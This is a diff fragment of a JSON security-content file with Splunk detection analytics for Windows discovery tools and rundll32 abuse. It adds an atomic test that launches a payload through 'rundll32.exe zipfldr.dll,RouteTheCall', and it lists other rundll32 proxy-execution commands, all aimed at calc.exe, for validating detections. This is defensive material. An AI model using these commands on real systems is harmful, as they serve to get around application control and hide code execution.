on a remote desktop session host server. This behavior is noteworthy as it is commonly abused by Qakbot malware to gather system information and send it back to its Command and Control (C2) server. If confirmed malicious, this activity could lead to unauthorized data exfiltration and further compromise of the host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = \"qwinsta.exe\" OR Processes.original_file_name = \"qwinsta.exe\" by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `windows_system_discovery_using_qwinsta_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "System qwinsta domain discovery on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows System User Discovery Via Quser", - "description": "The following analytic detects the execution of the Windows OS tool quser.exe, commonly used to gather information about user sessions on a Remote Desktop Session Host server. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. Monitoring this activity is crucial as quser.exe is often abused by post-exploitation tools like winpeas, used in ransomware attacks to enumerate user sessions. If confirmed malicious, attackers could leverage this information to further compromise the system, maintain persistence, or escalate privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"quser.exe\" OR Processes.original_file_name = \"quser.exe\" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_user_discovery_via_quser_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "execution of process $process_name$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows System User Privilege Discovery", - "description": "The following analytic detects the execution of `whoami.exe` with the `/priv` parameter, which displays the privileges assigned to the current user account. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it may indicate an adversary attempting to enumerate user privileges, a common step in the reconnaissance phase of an attack. If confirmed malicious, this could lead to privilege escalation or further exploitation within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"whoami.exe\" Processes.process= \"*/priv*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_system_user_privilege_discovery_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Activity related to system user privilege discovery detected on $dest$ using whoami.exe.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1033", - "mitre_attack_technique": "System Owner/User Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT39", - "APT41", - "Chimera", - "Dragonfly", - "Earth Lusca", - "FIN10", - "FIN7", - "FIN8", - "GALLIUM", - "Gamaredon Group", - "HAFNIUM", - "HEXANE", - "Ke3chang", - "Lazarus Group", - "LuminousMoth", - "Magic Hound", - "MuddyWater", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "Stealth Falcon", - "Threat Group-3390", - "Tropic Trooper", - "Volt Typhoon", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -107108,7 +100008,8 @@ "rundll32.exe shell32.dll,Control_RunDLL \"\\T1047\\bin\\calc.dll\"\n", "copy %windir%\\System32\\calc.exe not_an_scr.scr\nrundll32.exe desk.cpl,InstallScreenSaver not_an_scr.scr\n", "rundll32.exe \\T1218.011\\bin\\_WT.init,krnl\n", - "rundll32.exe url.dll,FileProtocolHandler calc.exe\n" + "rundll32.exe url.dll,FileProtocolHandler calc.exe\n", + "rundll32.exe zipfldr.dll,RouteTheCall \"'%windir%\\System32\\calc.exe'\"" ], "commands": [], "queries": [], @@ -107483,6 +100384,27 @@ "command": "rundll32.exe url.dll,FileProtocolHandler #{command_to_execute}\n", "name": "command_prompt" } + }, + { + "name": "Rundll32 execute payload by calling RouteTheCall", + "auto_generated_guid": "8a7f56ee-10e7-444c-a139-0109438288eb", + "description": "Launch an executable payload by calling RouteTheCall. Test execution of a command using rundll32.exe to execute a payload{calc.exe} by calling RouteTheCall. Upon execution, calc.exe will be launched.\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Zipfldr.yml\n", + "supported_platforms": [ + "windows" + ], + "input_arguments": { + "exe_to_launch": { + "description": "Path of the executable to launch", + "type": "path", + "default": "'%windir%\\System32\\calc.exe'" + } + }, + "executor": { + "command": "rundll32.exe zipfldr.dll,RouteTheCall \"#{exe_to_launch}\"", + "cleanup_command": null, + "name": "powershell", + "elevation_required": false + } } ] } @@ -107705,1549 +100627,6 @@ "https://docs.microsoft.com/en-us/windows/win32/debug/pe-format", "https://elinux.org/Executable_and_Linkable_Format_(ELF)" ] - }, - { - "name": "Suspicious Rundll32 Rename", - "description": "The following hunting analytic identifies renamed instances of rundll32.exe executing. rundll32.exe is natively found in C:\\Windows\\system32 and C:\\Windows\\syswow64. During investigation, validate it is the legitimate rundll32.exe executing and what script content it is loading. This query relies on the original filename or internal name from the PE meta data. Expand the query as needed by looking for specific command line arguments outlined in other analytics.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.original_file_name=RUNDLL32.exe AND Processes.process_name!=rundll32.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `suspicious_rundll32_rename_filter`", - "tags": { - "analytic_story": [ - "Masquerading - Rename System Utilities", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious renamed rundll32.exe binary ran on $dest$ by $user$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1036", - "mitre_attack_technique": "Masquerading", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "BRONZE BUTLER", - "Dragonfly", - "FIN13", - "LazyScripter", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Sandworm Team", - "TA551", - "TeamTNT", - "Windshift", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1036.003", - "mitre_attack_technique": "Rename System Utilities", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT32", - "GALLIUM", - "Lazarus Group", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Application Control Bypass - advpack", - "description": "The following analytic detects the execution of rundll32.exe loading advpack.dll or ieadvpack.dll via the LaunchINFSection function. This method is identified using Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions and process details. This activity is significant as it indicates a potential application control bypass, allowing script code execution from a file. If confirmed malicious, an attacker could execute arbitrary code, potentially leading to privilege escalation, persistence, or further network compromise. Investigate script content, network connections, and any spawned child processes for further context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*advpack* by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rundll32_application_control_bypass___advpack_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ loading advpack.dll and ieadvpack.dll by calling the LaunchINFSection function on the command line was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Application Control Bypass - setupapi", - "description": "The following analytic detects the execution of rundll32.exe loading setupapi.dll and iesetupapi.dll via the LaunchINFSection function. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events and command-line arguments. This activity is significant as it indicates a potential application control bypass, allowing an attacker to execute arbitrary script code. If confirmed malicious, this technique could enable code execution, privilege escalation, or persistence within the environment, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*setupapi* by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rundll32_application_control_bypass___setupapi_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ loading setupapi.dll and iesetupapi.dll by calling the LaunchINFSection function on the command line was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Rundll32 Application Control Bypass - syssetup", - "description": "The following analytic detects the execution of rundll32.exe loading syssetup.dll via the LaunchINFSection function. This method is identified through Endpoint Detection and Response (EDR) telemetry, focusing on command-line executions and process details. This activity is significant as it indicates a potential application control bypass, allowing script code execution from a file. If confirmed malicious, an attacker could execute arbitrary code, potentially leading to privilege escalation, persistence, or further network compromise. Investigate the script content, network connections, and any spawned child processes for further context.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*syssetup* by Processes.dest Processes.user Processes.parent_process_name Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_rundll32_application_control_bypass___syssetup_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ loading syssetup.dll by calling the LaunchINFSection function on the command line was identified on endpoint $dest$ by user $user$.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Control RunDLL Hunt", - "description": "The following analytic identifies instances of rundll32.exe executing with `Control_RunDLL` in the command line, which is indicative of loading a .cpl or other file types. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs and command-line arguments. This activity is significant as rundll32.exe can be exploited to execute malicious Control Panel Item files, potentially linked to CVE-2021-40444. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*Control_RunDLL* by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_control_rundll_hunt_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a suspicious file from disk.", - "risk_score": 15, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Control RunDLL World Writable Directory", - "description": "The following analytic detects the execution of rundll32.exe with the `Control_RunDLL` command, loading files from world-writable directories such as windows\\temp, programdata, or appdata. This detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process command-line data and specific directory paths. This activity is significant as it may indicate an attempt to exploit CVE-2021-40444 or similar vulnerabilities, allowing attackers to execute arbitrary code. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_rundll32` Processes.process=*Control_RunDLL* AND Processes.process IN (\"*\\\\appdata\\\\*\", \"*\\\\windows\\\\temp\\\\*\", \"*\\\\programdata\\\\*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_control_rundll_world_writable_directory_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Microsoft MSHTML Remote Code Execution CVE-2021-40444", - "Suspicious Rundll32 Activity" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$ by user $user$ attempting to load a suspicious file from disk.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 DNSQuery", - "description": "The following analytic detects a suspicious `rundll32.exe` process making HTTP connections and performing DNS queries to web domains. It leverages Sysmon EventCode 22 logs to identify these activities. This behavior is significant as it is commonly associated with IcedID malware, where `rundll32.exe` checks internet connectivity and communicates with C&C servers to download configurations and other components. If confirmed malicious, this activity could allow attackers to establish persistence, download additional payloads, and exfiltrate sensitive data, posing a severe threat to the network.", - "search": "`sysmon` EventCode=22 process_name=\"rundll32.exe\" | stats count min(_time) as firstTime max(_time) as lastTime values(query) as query values(answer) as answer values(QueryResults) as query_results values(QueryStatus) as query_status by process_name process_guid Computer | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_dnsquery_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process $process_name$ made a DNS query for $query$ from host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 LockWorkStation", - "description": "The following analytic detects the execution of the rundll32.exe command with the user32.dll,LockWorkStation parameter, which is used to lock the workstation via command line. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions. This activity is significant as it is an uncommon method to lock a screen and has been observed in CONTI ransomware tooling for defense evasion. If confirmed malicious, this technique could indicate an attempt to evade detection and hinder incident response efforts.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rundll32.exe Processes.process= \"*user32.dll,LockWorkStation*\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_lockworkstation_filter`", - "tags": { - "analytic_story": [ - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "Process $process_name$ with cmdline $process$ in host $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 Process Creating Exe Dll Files", - "description": "The following analytic detects a rundll32 process creating executable (.exe) or dynamic link library (.dll) files. It leverages Sysmon EventCode 11 to identify instances where rundll32.exe generates these file types. This activity is significant because rundll32 is often exploited by malware, such as IcedID, to drop malicious payloads in directories like Temp, AppData, or ProgramData. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, establish persistence, or escalate privileges within the environment.", - "search": "`sysmon` EventCode=11 Image=\"*rundll32.exe\" TargetFilename IN (\"*.exe\", \"*.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by Image TargetFilename Computer | rename Computer as dest | rename TargetFilename as file_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_process_creating_exe_dll_files_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "file_name", - "type": "File Name", - "role": [ - "Attacker" - ] - } - ], - "message": "rundll32 process drops a file $file_name$ on host $dest$", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1218", - "mitre_attack_technique": "System Binary Proxy Execution", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Lazarus Group" - ] - }, - { - "mitre_attack_id": "T1218.011", - "mitre_attack_technique": "Rundll32", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "APT38", - "APT41", - "Blue Mockingbird", - "Carbanak", - "CopyKittens", - "FIN7", - "Gamaredon Group", - "HAFNIUM", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Magic Hound", - "MuddyWater", - "Sandworm Team", - "TA505", - "TA551", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 with no Command Line Arguments with Network", - "description": "The following analytic detects the execution of rundll32.exe without command line arguments, followed by a network connection. This behavior is identified using Endpoint Detection and Response (EDR) telemetry and network traffic data. It is significant because rundll32.exe typically requires arguments to function, and its absence is often associated with malicious activity, such as Cobalt Strike. If confirmed malicious, this activity could indicate an attempt to establish unauthorized network connections, potentially leading to data exfiltration or further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where `process_rundll32` AND Processes.action!=\"blocked\" by host _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name Processes.parent_process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(rundll32\\.exe.{0,4}$)\" | rename dest as src | join host process_id [| tstats `security_content_summariesonly` count latest(All_Traffic.dest) as dest latest(All_Traffic.dest_ip) as dest_ip 